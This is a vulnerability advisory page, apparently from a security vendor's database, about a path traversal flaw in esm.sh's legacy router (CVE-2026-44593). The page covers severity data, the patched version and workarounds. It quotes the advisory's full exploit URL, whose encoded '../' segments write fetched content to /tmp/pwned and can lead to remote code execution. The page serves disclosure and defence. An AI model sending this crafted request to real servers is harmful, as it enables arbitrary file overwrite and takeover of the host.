How severe is CVE-2026-44593?

No CVSS score has been assigned to CVE-2026-44593 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-44593?

CVE-2026-44593 affects the following packages: github.com/esm-dev/esm.sh (Go). Ecosystems affected: Go.

How do I fix CVE-2026-44593?

Update github.com/esm-dev/esm.sh to 0.0.0-20260508100112-1960055e1d53 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44593 is resolved across your whole dependency graph.

How do I detect CVE-2026-44593 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-44593 if there is no patch (or I can't update yet)?

Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Is CVE-2026-44593 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-44593 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-44593?

CVE-2026-44593 has an EPSS (Exploit Prediction Scoring System) score of 0.4%, placing it in the 38th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-44593?

CVE-2026-44593 is classified as Path Traversal (CWE-22). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-44593 published, and has it been updated?

CVE-2026-44593 was published on May 28, 2026 and was last updated on November 8, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

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CVE-2026-44593 — esm.sh

CVE-2026-44593 is a Path Traversal vulnerability in github.com/esm-dev/esm.sh. A fix is available for github.com/esm-dev/esm.sh — see the affected versions and patch details below.

esm.sh: Legacy Route Path Traversal Can Lead to RCE

Also known asGHSA-3636-h3vx-6465GO-2026-5071

Published

May 28, 2026

Updated

Nov 8, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44593.

EPSS Exploitation Probability

via FIRST.org ↗

0.4%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs38th percentile — riskier than 38% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

🐹github.com/esm-dev/esm.sh

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).

For a URL such as:

http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

URL Construction
A crafted request is sent to the server:

http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

Proxy to Legacy Server
The request is forwarded to:

http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned

which resolves to:

http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md

File Retrieval
The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.
Path Normalisation & Storage
The storage path derived from the request is:
```
legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
```
Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.
Result
By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@_splitline_) from DEVCORE Research Team

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/esm-dev/esm.sh`	all versions	0.0.0-20260508100112-1960055e1d53`go get github.com/esm-dev/esm.sh@v0.0.0-20260508100112-1960055e1d53`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/esm-dev/esm.sh to 0.0.0-20260508100112-1960055e1d53 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44593 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges. ### Exploit The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>). For a URL such as: ``` h

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